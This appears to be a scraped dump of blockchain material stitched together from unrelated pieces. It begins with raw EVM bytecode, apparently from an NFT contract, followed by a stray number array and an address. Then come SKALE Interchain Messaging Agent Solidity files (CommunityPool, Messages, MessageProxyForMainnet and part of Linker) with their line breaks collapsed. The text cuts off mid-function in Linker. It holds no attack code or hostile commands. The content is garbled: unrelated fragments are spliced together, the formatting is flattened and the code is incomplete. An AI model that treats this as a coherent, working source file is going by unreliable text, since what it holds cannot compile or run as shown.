df252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600082612092858461267a565b14949350505050565b6000602054600014156120fc5760405162461bcd60e51b815260206004820152602360248201527f5652462052616e646f6d20526573756c7420686173206e6f74206265656e207360448201526265742160e81b6064820152608401610904565b60006011546101f461210e9190613317565b90506000811561212857612123600183613317565b61212b565b60005b60208054610215546040519394506000938693612156939263ffffffff16913391449142910161306d565b6040516020818303038152906040528051906020012060001c61217991906133b0565b905060006021826101f4811061219157612191613429565b015461219d57816121b4565b6021826101f481106121b1576121b1613429565b01545b90506021836101f481106121ca576121ca613429565b0154156121ec576021836101f481106121e5576121e5613429565b01546121ee565b825b6021836101f4811061220257612202613429565b01556020805461021554604051600093600a9361223093909263ffffffff909116913391449142910161306d565b6040516020818303038152906040528051906020012060001c61225391906133c4565b6102158054919250829160009061227190849063ffffffff166132db565b92506101000a81548163ffffffff021916908363ffffffff160217905550819550505050505090565b610d85828260405180602001604052806000815250612726565b600b80546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b612311848484611eda565b61231d84848484612759565b6118d15760405162461bcd60e51b81526004016109049061312f565b60608161235d5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115612387578061237181613395565b91506123809050600a83613303565b9150612361565b60008167ffffffffffffffff8111156123a2576123a261343f565b6040519080825280601f01601f1916602001820160405280156123cc576020820181803683370190505b5090505b8415611ed2576123e1600183613317565b91506123ee600a866133b0565b6123f99060306132c3565b60f81b81838151811061240e5761240e613429565b60200101906001600160f81b031916908160001a905350612430600a86613303565b94506123d0565b60007f000000000000000000000000514910771af9ca656af840dff83e8264ecf986ca6001600160a01b0316634000aea07f000000000000000000000000f0d54349addcf704f77ae15b96510dea15cb7952848660006040516020016124a7929190918252602082015260400190565b6040516020818303038152906040526040518463ffffffff1660e01b81526004016124d4939291906130ec565b602060405180830381600087803b1580156124ee57600080fd5b505af1158015612502573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125269190612e5d565b506000838152600c6020818152604080842054815180840189905280830186905230606082015260808082018390528351808303909101815260a0909101909252815191830191909120938790529190526125829060016132c3565b6000858152600c6020526040902055611ed28482604080516020808201949094528082019290925280518083038201815260609092019052805191012090565b6001600160a01b03831661261d5761261881600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b612640565b816001600160a01b0316836001600160a01b031614612640576126408382612866565b6001600160a01b03821661265757610a3a81612903565b826001600160a01b0316826001600160a01b031614610a3a57610a3a82826129b2565b600081815b845181101561271e57600085828151811061269c5761269c613429565b602002602001015190508083116126de57604080516020810185905290810182905260600160405160208183030381529060405280519060200120925061270b565b60408051602081018390529081018490526060016040516020818303038152906040528051906020012092505b508061271681613395565b91505061267f565b509392505050565b61273083836129f6565b61273d6000848484612759565b610a3a5760405162461bcd60e51b81526004016109049061312f565b60006001600160a01b0384163b1561285b57604051630a85bd0160e11b81526001600160a01b0385169063150b7a029061279d9033908990889088906004016130af565b602060405180830381600087803b1580156127b757600080fd5b505af19250505080156127e7575060408051601f3d908101601f191682019092526127e491810190612ed2565b60015b612841573d808015612815576040519150601f19603f3d011682016040523d82523d6000602084013e61281a565b606091505b5080516128395760405162461bcd60e51b81526004016109049061312f565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611ed2565b506001949350505050565b600060016128738461142b565b61287d9190613317565b6000838152600760205260409020549091508082146128d0576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b60085460009061291590600190613317565b6000838152600960205260408120546008805493945090928490811061293d5761293d613429565b90600052602060002001549050806008838154811061295e5761295e613429565b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061299657612996613413565b6001900381819060005260206000200160009055905550505050565b60006129bd8361142b565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b038216612a4c5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610904565b612a5581611d65565b15612aa25760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610904565b612aae600083836125c2565b6001600160a01b0382166000908152600360205260408120805460019290612ad79084906132c3565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b828054612b419061335a565b90600052602060002090601f016020900481019282612b635760008555612ba9565b82601f10612b7c57805160ff1916838001178555612ba9565b82800160010185558215612ba9579182015b82811115612ba9578251825591602001919060010190612b8e565b50612bb5929150612bb9565b5090565b5b80821115612bb55760008155600101612bba565b600067ffffffffffffffff831115612be857612be861343f565b612bfb601f8401601f1916602001613292565b9050828152838383011115612c0f57600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b0381168114612c3d57600080fd5b919050565b600060208284031215612c5457600080fd5b612c5d82612c26565b9392505050565b60008060408385031215612c7757600080fd5b612c8083612c26565b9150612c8e60208401612c26565b90509250929050565b600080600060608486031215612cac57600080fd5b612cb584612c26565b9250612cc360208501612c26565b9150604084013590509250925092565b60008060008060808587031215612ce957600080fd5b612cf285612c26565b9350612d0060208601612c26565b925060408501359150606085013567ffffffffffffffff811115612d2357600080fd5b8501601f81018713612d3457600080fd5b612d4387823560208401612bce565b91505092959194509250565b60008060408385031215612d6257600080fd5b612d6b83612c26565b91506020830135612d7b81613455565b809150509250929050565b60008060408385031215612d9957600080fd5b612da283612c26565b946020939093013593505050565b60006020808385031215612dc357600080fd5b823567ffffffffffffffff80821115612ddb57600080fd5b818501915085601f830112612def57600080fd5b813581811115612e0157612e0161343f565b8060051b9150612e12848301613292565b8181528481019084860184860187018a1015612e2d57600080fd5b600095505b83861015612e50578035835260019590950194918601918601612e32565b5098975050505050505050565b600060208284031215612e6f57600080fd5b8151612c5d81613455565b600060208284031215612e8c57600080fd5b5035919050565b60008060408385031215612ea657600080fd5b50508035926020909101359150565b600060208284031215612ec757600080fd5b8135612c5d81613463565b600060208284031215612ee457600080fd5b8151612c5d81613463565b600060208284031215612f0157600080fd5b813567ffffffffffffffff811115612f1857600080fd5b8201601f81018413612f2957600080fd5b611ed284823560208401612bce565b600060208284031215612f4a57600080fd5b5051919050565b600060208284031215612f6357600080fd5b815160ff81168114612c5d57600080fd5b60008151808452612f8c81602086016020860161332e565b601f01601f19169290920160200192915050565b8054600090600181811c9080831680612fba57607f831692505b6020808410821415612fdc57634e487b7160e01b600052602260045260246000fd5b818015612ff057600181146130015761302e565b60ff1986168952848901965061302e565b60008881526020902060005b868110156130265781548b82015290850190830161300d565b505084890196505b50505050505092915050565b60006130468286612fa0565b845161305681836020890161332e565b61306281830186612fa0565b979650505050505050565b94855260e09390931b6001600160e01b031916602085015260609190911b6bffffffffffffffffffffffff191660248401526038830152605882015260780190565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906130e290830184612f74565b9695505050505050565b60018060a01b03841681528260208201526060604082015260006131136060830184612f74565b95945050505050565b602081526000612c5d6020830184612f74565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252601190820152702737b732bc34b9ba32b73a103a37b5b2b760791b604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b6020808252600f908201526e416c7265616479206d696e7465642160881b604082015260600190565b604051601f8201601f1916810167ffffffffffffffff811182821017156132bb576132bb61343f565b604052919050565b600082198211156132d6576132d66133e7565b500190565b600063ffffffff8083168185168083038211156132fa576132fa6133e7565b01949350505050565b600082613312576133126133fd565b500490565b600082821015613329576133296133e7565b500390565b60005b83811015613349578181015183820152602001613331565b838111156118d15750506000910152565b600181811c9082168061336e57607f821691505b6020821081141561338f57634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156133a9576133a96133e7565b5060010190565b6000826133bf576133bf6133fd565b500690565b600063ffffffff808416806133db576133db6133fd565b92169190910692915050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b801515811461153e57600080fd5b6001600160e01b03198116811461153e57600080fdfea2646970667358221220622aee37c71a3534e9b98a0a595722189f668df9e79436d6f54f66939e71295264736f6c63430008070033
[ 10, 7, 5 ]
0xf1b9d10472A62EA977089336dc4a65580Ebdae60
// SPDX-License-Identifier: AGPL-3.0-only /* CommunityPool.sol - SKALE Manager Copyright (C) 2021-Present SKALE Labs @author Dmytro Stebaiev @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.6; import "../Messages.sol"; import "./MessageProxyForMainnet.sol"; import "./Linker.sol"; /** * @title CommunityPool * @dev Contract contains logic to perform automatic self-recharging ether for nodes */ contract CommunityPool is Twin { using AddressUpgradeable for address payable; bytes32 public constant CONSTANT_SETTER_ROLE = keccak256("CONSTANT_SETTER_ROLE"); mapping(address => mapping(bytes32 => uint)) private _userWallets; mapping(address => mapping(bytes32 => bool)) public activeUsers; uint public minTransactionGas; event MinTransactionGasWasChanged( uint oldValue, uint newValue ); function initialize( IContractManager contractManagerOfSkaleManagerValue, Linker linker, MessageProxyForMainnet messageProxyValue ) external initializer { Twin.initialize(contractManagerOfSkaleManagerValue, messageProxyValue); _setupRole(LINKER_ROLE, address(linker)); minTransactionGas = 1e6; } function refundGasByUser( bytes32 schainHash, address payable node, address user, uint gas ) external onlyMessageProxy { require(activeUsers[user][schainHash], "User should be active"); require(node != address(0), "Node address must be set"); uint amount = tx.gasprice * gas; _userWallets[user][schainHash] = _userWallets[user][schainHash] - amount; if (_userWallets[user][schainHash] < minTransactionGas * tx.gasprice) { activeUsers[user][schainHash] = false; messageProxy.postOutgoingMessage( schainHash, schainLinks[schainHash], Messages.encodeLockUserMessage(user) ); } node.sendValue(amount); } function rechargeUserWallet(string calldata schainName) external payable { bytes32 schainHash = keccak256(abi.encodePacked(schainName)); require( msg.value + _userWallets[msg.sender][schainHash] >= minTransactionGas * tx.gasprice, "Not enough ETH for transaction" ); _userWallets[msg.sender][schainHash] = _userWallets[msg.sender][schainHash] + msg.value; if (!activeUsers[msg.sender][schainHash]) { activeUsers[msg.sender][schainHash] = true; messageProxy.postOutgoingMessage( schainHash, schainLinks[schainHash], Messages.encodeActivateUserMessage(msg.sender) ); } } function withdrawFunds(string calldata schainName, uint amount) external { bytes32 schainHash = keccak256(abi.encodePacked(schainName)); require(amount <= _userWallets[msg.sender][schainHash], "Balance is too low"); _userWallets[msg.sender][schainHash] = _userWallets[msg.sender][schainHash] - amount; if ( _userWallets[msg.sender][schainHash] < minTransactionGas * tx.gasprice && activeUsers[msg.sender][schainHash] ) { activeUsers[msg.sender][schainHash] = false; messageProxy.postOutgoingMessage( schainHash, schainLinks[schainHash], Messages.encodeLockUserMessage(msg.sender) ); } payable(msg.sender).sendValue(amount); } function setMinTransactionGas(uint newMinTransactionGas) external { require(hasRole(CONSTANT_SETTER_ROLE, msg.sender), "CONSTANT_SETTER_ROLE is required"); emit MinTransactionGasWasChanged(minTransactionGas, newMinTransactionGas); minTransactionGas = newMinTransactionGas; } function getBalance(string calldata schainName) external view returns (uint) { return _userWallets[msg.sender][keccak256(abi.encodePacked(schainName))]; } } // SPDX-License-Identifier: AGPL-3.0-only /** * Messages.sol - SKALE Interchain Messaging Agent * Copyright (C) 2021-Present SKALE Labs * @author Dmytro Stebaeiv * * SKALE IMA is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * SKALE IMA is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.6; library Messages { enum MessageType { EMPTY, TRANSFER_ETH, TRANSFER_ERC20, TRANSFER_ERC20_AND_TOTAL_SUPPLY, TRANSFER_ERC20_AND_TOKEN_INFO, TRANSFER_ERC721, TRANSFER_ERC721_AND_TOKEN_INFO, USER_STATUS, INTERCHAIN_CONNECTION, TRANSFER_ERC1155, TRANSFER_ERC1155_AND_TOKEN_INFO, TRANSFER_ERC1155_BATCH, TRANSFER_ERC1155_BATCH_AND_TOKEN_INFO } struct BaseMessage { MessageType messageType; } struct TransferEthMessage { BaseMessage message; address receiver; uint256 amount; } struct UserStatusMessage { BaseMessage message; address receiver; bool isActive; } struct TransferErc20Message { BaseMessage message; address token; address receiver; uint256 amount; } struct Erc20TokenInfo { string name; uint8 decimals; string symbol; } struct TransferErc20AndTotalSupplyMessage { TransferErc20Message baseErc20transfer; uint256 totalSupply; } struct TransferErc20AndTokenInfoMessage { TransferErc20Message baseErc20transfer; uint256 totalSupply; Erc20TokenInfo tokenInfo; } struct TransferErc721Message { BaseMessage message; address token; address receiver; uint256 tokenId; } struct Erc721TokenInfo { string name; string symbol; } struct TransferErc721AndTokenInfoMessage { TransferErc721Message baseErc721transfer; Erc721TokenInfo tokenInfo; } struct InterchainConnectionMessage { BaseMessage message; bool isAllowed; } struct TransferErc1155Message { BaseMessage message; address token; address receiver; uint256 id; uint256 amount; } struct TransferErc1155BatchMessage { BaseMessage message; address token; address receiver; uint256[] ids; uint256[] amounts; } struct Erc1155TokenInfo { string uri; } struct TransferErc1155AndTokenInfoMessage { TransferErc1155Message baseErc1155transfer; Erc1155TokenInfo tokenInfo; } struct TransferErc1155BatchAndTokenInfoMessage { TransferErc1155BatchMessage baseErc1155Batchtransfer; Erc1155TokenInfo tokenInfo; } function getMessageType(bytes calldata data) internal pure returns (MessageType) { uint256 firstWord = abi.decode(data, (uint256)); if (firstWord % 32 == 0) { return getMessageType(data[firstWord:]); } else { return abi.decode(data, (Messages.MessageType)); } } function encodeTransferEthMessage(address receiver, uint256 amount) internal pure returns (bytes memory) { TransferEthMessage memory message = TransferEthMessage( BaseMessage(MessageType.TRANSFER_ETH), receiver, amount ); return abi.encode(message); } function decodeTransferEthMessage( bytes calldata data ) internal pure returns (TransferEthMessage memory) { require(getMessageType(data) == MessageType.TRANSFER_ETH, "Message type is not ETH transfer"); return abi.decode(data, (TransferEthMessage)); } function encodeTransferErc20Message( address token, address receiver, uint256 amount ) internal pure returns (bytes memory) { TransferErc20Message memory message = TransferErc20Message( BaseMessage(MessageType.TRANSFER_ERC20), token, receiver, amount ); return abi.encode(message); } function encodeTransferErc20AndTotalSupplyMessage( address token, address receiver, uint256 amount, uint256 totalSupply ) internal pure returns (bytes memory) { TransferErc20AndTotalSupplyMessage memory message = TransferErc20AndTotalSupplyMessage( TransferErc20Message( BaseMessage(MessageType.TRANSFER_ERC20_AND_TOTAL_SUPPLY), token, receiver, amount ), totalSupply ); return abi.encode(message); } function decodeTransferErc20Message( bytes calldata data ) internal pure returns (TransferErc20Message memory) { require(getMessageType(data) == MessageType.TRANSFER_ERC20, "Message type is not ERC20 transfer"); return abi.decode(data, (TransferErc20Message)); } function decodeTransferErc20AndTotalSupplyMessage( bytes calldata data ) internal pure returns (TransferErc20AndTotalSupplyMessage memory) { require( getMessageType(data) == MessageType.TRANSFER_ERC20_AND_TOTAL_SUPPLY, "Message type is not ERC20 transfer and total supply" ); return abi.decode(data, (TransferErc20AndTotalSupplyMessage)); } function encodeTransferErc20AndTokenInfoMessage( address token, address receiver, uint256 amount, uint256 totalSupply, Erc20TokenInfo memory tokenInfo ) internal pure returns (bytes memory) { TransferErc20AndTokenInfoMessage memory message = TransferErc20AndTokenInfoMessage( TransferErc20Message( BaseMessage(MessageType.TRANSFER_ERC20_AND_TOKEN_INFO), token, receiver, amount ), totalSupply, tokenInfo ); return abi.encode(message); } function decodeTransferErc20AndTokenInfoMessage( bytes calldata data ) internal pure returns (TransferErc20AndTokenInfoMessage memory) { require( getMessageType(data) == MessageType.TRANSFER_ERC20_AND_TOKEN_INFO, "Message type is not ERC20 transfer with token info" ); return abi.decode(data, (TransferErc20AndTokenInfoMessage)); } function encodeTransferErc721Message( address token, address receiver, uint256 tokenId ) internal pure returns (bytes memory) { TransferErc721Message memory message = TransferErc721Message( BaseMessage(MessageType.TRANSFER_ERC721), token, receiver, tokenId ); return abi.encode(message); } function decodeTransferErc721Message( bytes calldata data ) internal pure returns (TransferErc721Message memory) { require(getMessageType(data) == MessageType.TRANSFER_ERC721, "Message type is not ERC721 transfer"); return abi.decode(data, (TransferErc721Message)); } function encodeTransferErc721AndTokenInfoMessage( address token, address receiver, uint256 tokenId, Erc721TokenInfo memory tokenInfo ) internal pure returns (bytes memory) { TransferErc721AndTokenInfoMessage memory message = TransferErc721AndTokenInfoMessage( TransferErc721Message( BaseMessage(MessageType.TRANSFER_ERC721_AND_TOKEN_INFO), token, receiver, tokenId ), tokenInfo ); return abi.encode(message); } function decodeTransferErc721AndTokenInfoMessage( bytes calldata data ) internal pure returns (TransferErc721AndTokenInfoMessage memory) { require( getMessageType(data) == MessageType.TRANSFER_ERC721_AND_TOKEN_INFO, "Message type is not ERC721 transfer with token info" ); return abi.decode(data, (TransferErc721AndTokenInfoMessage)); } function encodeActivateUserMessage(address receiver) internal pure returns (bytes memory){ return _encodeUserStatusMessage(receiver, true); } function encodeLockUserMessage(address receiver) internal pure returns (bytes memory){ return _encodeUserStatusMessage(receiver, false); } function decodeUserStatusMessage(bytes calldata data) internal pure returns (UserStatusMessage memory) { require(getMessageType(data) == MessageType.USER_STATUS, "Message type is not User Status"); return abi.decode(data, (UserStatusMessage)); } function encodeInterchainConnectionMessage(bool isAllowed) internal pure returns (bytes memory) { InterchainConnectionMessage memory message = InterchainConnectionMessage( BaseMessage(MessageType.INTERCHAIN_CONNECTION), isAllowed ); return abi.encode(message); } function decodeInterchainConnectionMessage(bytes calldata data) internal pure returns (InterchainConnectionMessage memory) { require(getMessageType(data) == MessageType.INTERCHAIN_CONNECTION, "Message type is not Interchain connection"); return abi.decode(data, (InterchainConnectionMessage)); } function encodeTransferErc1155Message( address token, address receiver, uint256 id, uint256 amount ) internal pure returns (bytes memory) { TransferErc1155Message memory message = TransferErc1155Message( BaseMessage(MessageType.TRANSFER_ERC1155), token, receiver, id, amount ); return abi.encode(message); } function decodeTransferErc1155Message( bytes calldata data ) internal pure returns (TransferErc1155Message memory) { require(getMessageType(data) == MessageType.TRANSFER_ERC1155, "Message type is not ERC1155 transfer"); return abi.decode(data, (TransferErc1155Message)); } function encodeTransferErc1155AndTokenInfoMessage( address token, address receiver, uint256 id, uint256 amount, Erc1155TokenInfo memory tokenInfo ) internal pure returns (bytes memory) { TransferErc1155AndTokenInfoMessage memory message = TransferErc1155AndTokenInfoMessage( TransferErc1155Message( BaseMessage(MessageType.TRANSFER_ERC1155_AND_TOKEN_INFO), token, receiver, id, amount ), tokenInfo ); return abi.encode(message); } function decodeTransferErc1155AndTokenInfoMessage( bytes calldata data ) internal pure returns (TransferErc1155AndTokenInfoMessage memory) { require( getMessageType(data) == MessageType.TRANSFER_ERC1155_AND_TOKEN_INFO, "Message type is not ERC1155AndTokenInfo transfer" ); return abi.decode(data, (TransferErc1155AndTokenInfoMessage)); } function encodeTransferErc1155BatchMessage( address token, address receiver, uint256[] memory ids, uint256[] memory amounts ) internal pure returns (bytes memory) { TransferErc1155BatchMessage memory message = TransferErc1155BatchMessage( BaseMessage(MessageType.TRANSFER_ERC1155_BATCH), token, receiver, ids, amounts ); return abi.encode(message); } function decodeTransferErc1155BatchMessage( bytes calldata data ) internal pure returns (TransferErc1155BatchMessage memory) { require( getMessageType(data) == MessageType.TRANSFER_ERC1155_BATCH, "Message type is not ERC1155Batch transfer" ); return abi.decode(data, (TransferErc1155BatchMessage)); } function encodeTransferErc1155BatchAndTokenInfoMessage( address token, address receiver, uint256[] memory ids, uint256[] memory amounts, Erc1155TokenInfo memory tokenInfo ) internal pure returns (bytes memory) { TransferErc1155BatchAndTokenInfoMessage memory message = TransferErc1155BatchAndTokenInfoMessage( TransferErc1155BatchMessage( BaseMessage(MessageType.TRANSFER_ERC1155_BATCH_AND_TOKEN_INFO), token, receiver, ids, amounts ), tokenInfo ); return abi.encode(message); } function decodeTransferErc1155BatchAndTokenInfoMessage( bytes calldata data ) internal pure returns (TransferErc1155BatchAndTokenInfoMessage memory) { require( getMessageType(data) == MessageType.TRANSFER_ERC1155_BATCH_AND_TOKEN_INFO, "Message type is not ERC1155BatchAndTokenInfo transfer" ); return abi.decode(data, (TransferErc1155BatchAndTokenInfoMessage)); } function _encodeUserStatusMessage(address receiver, bool isActive) private pure returns (bytes memory) { UserStatusMessage memory message = UserStatusMessage( BaseMessage(MessageType.USER_STATUS), receiver, isActive ); return abi.encode(message); } } // SPDX-License-Identifier: AGPL-3.0-only /** * MessageProxyForMainnet.sol - SKALE Interchain Messaging Agent * Copyright (C) 2019-Present SKALE Labs * @author Artem Payvin * * SKALE IMA is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * SKALE IMA is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.6; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "@skalenetwork/skale-manager-interfaces/IWallets.sol"; import "@skalenetwork/skale-manager-interfaces/ISchains.sol"; import "../interfaces/IMessageReceiver.sol"; import "../MessageProxy.sol"; import "./SkaleManagerClient.sol"; import "./CommunityPool.sol"; /** * @title Message Proxy for Mainnet * @dev Runs on Mainnet, contains functions to manage the incoming messages from * `targetSchainName` and outgoing messages to `fromSchainName`. Every SKALE chain with * IMA is therefore connected to MessageProxyForMainnet. * * Messages from SKALE chains are signed using BLS threshold signatures from the * nodes in the chain. Since Ethereum Mainnet has no BLS public key, mainnet * messages do not need to be signed. */ contract MessageProxyForMainnet is SkaleManagerClient, MessageProxy { using AddressUpgradeable for address; /** * 16 Agents * Synchronize time with time.nist.gov * Every agent checks if it is his time slot * Time slots are in increments of 10 seconds * At the start of his slot each agent: * For each connected schain: * Read incoming counter on the dst chain * Read outgoing counter on the src chain * Calculate the difference outgoing - incoming * Call postIncomingMessages function passing (un)signed message array * ID of this schain, Chain 0 represents ETH mainnet, */ CommunityPool public communityPool; uint256 public headerMessageGasCost; uint256 public messageGasCost; event GasCostMessageHeaderWasChanged( uint256 oldValue, uint256 newValue ); event GasCostMessageWasChanged( uint256 oldValue, uint256 newValue ); /** * @dev Allows LockAndData to add a `schainName`. * * Requirements: * * - `msg.sender` must be SKALE Node address. * - `schainName` must not be "Mainnet". * - `schainName` must not already be added. */ function addConnectedChain(string calldata schainName) external override { bytes32 schainHash = keccak256(abi.encodePacked(schainName)); require(schainHash != MAINNET_HASH, "SKALE chain name is incorrect"); _addConnectedChain(schainHash); } function setCommunityPool(CommunityPool newCommunityPoolAddress) external { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Not authorized caller"); require(address(newCommunityPoolAddress) != address(0), "CommunityPool address has to be set"); communityPool = newCommunityPoolAddress; } function registerExtraContract(string memory schainName, address extraContract) external { bytes32 schainHash = keccak256(abi.encodePacked(schainName)); require( hasRole(EXTRA_CONTRACT_REGISTRAR_ROLE, msg.sender) || isSchainOwner(msg.sender, schainHash), "Not enough permissions to register extra contract" ); require(schainHash != MAINNET_HASH, "Schain hash can not be equal Mainnet"); _registerExtraContract(schainHash, extraContract); } function removeExtraContract(string memory schainName, address extraContract) external { bytes32 schainHash = keccak256(abi.encodePacked(schainName)); require( hasRole(EXTRA_CONTRACT_REGISTRAR_ROLE, msg.sender) || isSchainOwner(msg.sender, schainHash), "Not enough permissions to register extra contract" ); require(schainHash != MAINNET_HASH, "Schain hash can not be equal Mainnet"); _removeExtraContract(schainHash, extraContract); } /** * @dev Posts incoming message from `fromSchainName`. * * Requirements: * * - `msg.sender` must be authorized caller. * - `fromSchainName` must be initialized. * - `startingCounter` must be equal to the chain's incoming message counter. * - If destination chain is Mainnet, message signature must be valid. */ function postIncomingMessages( string calldata fromSchainName, uint256 startingCounter, Message[] calldata messages, Signature calldata sign ) external override { uint256 gasTotal = gasleft(); bytes32 fromSchainHash = keccak256(abi.encodePacked(fromSchainName)); require(connectedChains[fromSchainHash].inited, "Chain is not initialized"); require(messages.length <= MESSAGES_LENGTH, "Too many messages"); require( startingCounter == connectedChains[fromSchainHash].incomingMessageCounter, "Starting counter is not equal to incoming message counter"); require(_verifyMessages(fromSchainName, _hashedArray(messages), sign), "Signature is not verified"); uint additionalGasPerMessage = (gasTotal - gasleft() + headerMessageGasCost + messages.length * messageGasCost) / messages.length; for (uint256 i = 0; i < messages.length; i++) { gasTotal = gasleft(); address receiver = _callReceiverContract(fromSchainHash, messages[i], startingCounter + i); if (receiver == address(0)) continue; communityPool.refundGasByUser( fromSchainHash, payable(msg.sender), receiver, gasTotal - gasleft() + additionalGasPerMessage ); } connectedChains[fromSchainHash].incomingMessageCounter += messages.length; } /** * @dev Sets headerMessageGasCost to a new value * * Requirements: * * - `msg.sender` must be granted as CONSTANT_SETTER_ROLE. */ function setNewHeaderMessageGasCost(uint256 newHeaderMessageGasCost) external onlyConstantSetter { emit GasCostMessageHeaderWasChanged(headerMessageGasCost, newHeaderMessageGasCost); headerMessageGasCost = newHeaderMessageGasCost; } /** * @dev Sets messageGasCost to a new value * * Requirements: * * - `msg.sender` must be granted as CONSTANT_SETTER_ROLE. */ function setNewMessageGasCost(uint256 newMessageGasCost) external onlyConstantSetter { emit GasCostMessageWasChanged(messageGasCost, newMessageGasCost); messageGasCost = newMessageGasCost; } /** * @dev Checks whether chain is currently connected. * * Note: Mainnet chain does not have a public key, and is implicitly * connected to MessageProxy. * * Requirements: * * - `schainName` must not be Mainnet. */ function isConnectedChain( string memory schainName ) public view override returns (bool) { require(keccak256(abi.encodePacked(schainName)) != MAINNET_HASH, "Schain id can not be equal Mainnet"); return super.isConnectedChain(schainName); } // Create a new message proxy function initialize(IContractManager contractManagerOfSkaleManagerValue) public virtual override initializer { SkaleManagerClient.initialize(contractManagerOfSkaleManagerValue); MessageProxy.initializeMessageProxy(1e6); headerMessageGasCost = 70000; messageGasCost = 8790; } /** * @dev Converts calldata structure to memory structure and checks * whether message BLS signature is valid. */ function _verifyMessages( string calldata fromSchainName, bytes32 hashedMessages, MessageProxyForMainnet.Signature calldata sign ) internal view returns (bool) { return ISchains( contractManagerOfSkaleManager.getContract("Schains") ).verifySchainSignature( sign.blsSignature[0], sign.blsSignature[1], hashedMessages, sign.counter, sign.hashA, sign.hashB, fromSchainName ); } } // SPDX-License-Identifier: AGPL-3.0-only /** * Linker.sol - SKALE Interchain Messaging Agent * Copyright (C) 2021-Present SKALE Labs * @author Artem Payvin * * SKALE IMA is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * SKALE IMA is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.8.6; import "@openzeppelin/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "../Messages.sol"; import "./Twin.sol"; import "./MessageProxyForMainnet.sol"; /** * @title Linker For Mainnet * @dev Runs on Mainnet, holds deposited ETH, and contains mappings and * balances of ETH tokens received through DepositBox. */ contract Linker is Twin { using AddressUpgradeable for address; using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; enum KillProcess {NotKilled, PartiallyKilledBySchainOwner, PartiallyKilledByContractOwner, Killed} EnumerableSetUpgradeable.AddressSet private _mainnetContracts; mapping(bytes32 => bool) public interchainConnections; mapping(bytes32 => KillProcess) public statuses; modifier onlyLinker() { require(hasRole(LINKER_ROLE, msg.sender), "Linker role is required"); _; } function registerMainnetContract(address newMainnetContract) external onlyLinker { require(_mainnetContracts.add(newMainnetContract), "The contracts was not registered"); } function removeMainnetContract(address mainnetContract) external onlyLinker { require(_mainnetContracts.remove(mainnetContract), "The contract was not removed"); } function connectSchain(string calldata schainName, address[] calldata schainContracts) external onlyLinker { require(schainContracts.length == _mainnetContracts.length(), "Incorrect number of addresses"); for (uint i = 0; i < schainContracts.length; i++) { 